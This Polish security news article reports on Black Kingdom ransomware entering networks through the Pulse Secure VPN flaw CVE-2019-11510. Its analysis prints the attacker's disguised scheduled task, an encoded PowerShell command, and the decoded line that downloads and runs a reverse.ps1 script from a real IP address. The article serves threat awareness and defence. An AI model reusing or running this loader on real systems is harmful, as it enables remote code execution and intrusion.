Odkrycie polskich ekspertów nowego ransomware przypomina o wielowektorowym zabezpieczaniu systemów i oprogramowania

17 czerwca 2020

Polska firma RedTeam.pl, świadcząca usługi cybernetyczne, opublikowała informacje na temat nowego wariantu ransomware o nazwie Black Kingdom. Złośliwe oprogramowanie, zanim zaszyfruje pliki, uzyskuje dostęp do infrastruktury za pośrednictwem podatności w oprogramowaniu Pulse Secure VPN. Jest to dokładnie ta sama podatność (CVE-2019-11510), którą wykorzystywali przestępcy w atakach na organizacje z użyciem innych odmian ransomware: Maze oraz Sodinokibi / REvil ransomware.

Autor tej kampanii zaprogramował atak w taki sposób, aby ukrywać złośliwą aktywność w harmonogramie zadań pod nazwą „GoogleUpdateTaskMachineUSA”, które przypomina legalne zadanie przeglądarki Chrome, różniące się nieznacznie na końcu „UA” zamiast „USA”.

Zdefiniowane zadanie w harmonogramie zadań.

Przy zdefiniowanym wyzwalaczu (np. po każdym uruchomieniu komputera) uruchamiany jest następujący kod:

<Exec>
<Command>powershell.exe</Command>
<Arguments>-windowstyle hidden -file'C:\ProgramData\Microsoft\Windows\Caches\cversions_cache.ps1'</Arguments>
</Exec>

Zawartość skryptu „cversions_cache.ps1” w powershell jest następująca:

$update = "SQBFAFgAKABOAGUAdwAtAE8AYgBqAGUAYwB0ACAATgBlAHQALgBXAGUAYgBDAGwAaQBlAG4AdAApAC4ARABvAHcAbgBsAG8AYQBkAFMAdAByAGkAbgBnACgAJwBoAHQAdABwADoALwAvADEAOQA4AC4AMQAzAC4ANAA5AC4AMQA3ADkALwByAGUAdgBlAHIAcwBlAC4AcABzADEAJwApAA=="
powershell.exe -exec bypass -nologo -Enc $update

Po zdekodowaniu można zaobserwować skąd pobierany jest końcowy skrypt:

IEX(New-Object Net.WebClient).DownloadString('hxxp://198.13.49.179/reverse.ps1')

Przy domyślnej ochronie Windows nie jest możliwe uruchamianie skryptów pobranych z sieci, dlatego prawdopodobnie ten sposób ataku zakończy się niepowodzeniem.

Próbka Black Kingdom przeanalizowana w usłudze online app.any.run.

Warto wspomnieć o ułomności systemu operacyjnego Windows, gdzie obejść politykę restrykcji PowerShell można na około 50 różnych sposobów. Mając taką wiedzę i dostępność do sieci można w systemie zrobić w zasadzie wszystko. Bez odpowiedniej ochrony da się uzyskać uprawnienia administratora domeny, dlatego standardowe zabezpieczenia Windows mogą być niewystarczające.

Firma świadcząca usługi VPN już w zeszłym roku zaktualizowała swoje oprogramowanie. Wygląda jedna na to, że niektóre organizacje wciąż nie załatały swoich systemów. Ponadto amerykańska agencja ds. bezpieczeństwa cybernetycznego (CISA) ostrzega, że załatanie dziurawego klienta VPN nie wystarczy, aby powstrzymać atakujących.

PODZIEL SIĘ:

Share on facebook
Share on twitter
Share on linkedin
Share on email
AUTOR: Adrian Ścibor
Redaktor prowadzący AVLab.pl i CheckLab.pl.
guest
0 komentarzy
Inline Feedbacks
View all comments

Newsletter

BĄDŹ ZAWSZE NA BIEŻĄCO!

Newsletter

ZAPISZ SIĘ NA POWIADOMIENIA
BĄDŹ ZAWSZE NA BIEŻĄCO!
zapisz się

POLECANE PRODUKTY

YUBIKEY

Klucze zabezpieczające

100% ochrony przed phishingiem

Newsletter

BĄDŹ ZAWSZE NA BIEŻĄCO!

Newsletter

ZAPISZ SIĘ NA POWIADOMIENIA
BĄDŹ ZAWSZE NA BIEŻĄCO!
zapisz się

Newsletter

BĄDŹ ZAWSZE NA BIEŻĄCO!

Newsletter

ZAPISZ SIĘ NA POWIADOMIENIA E-MAIL I ZAWSZE BĄDŹ NA BIEŻĄCO!
zapisz się

POLECANE PRODUKTY

YUBICO

Klucze zabezpieczające

SILNE UWIERZYTELNIANIE DWUSKŁADNIKOWE, WIELOSKŁADNIKOWE I BEZ HASŁA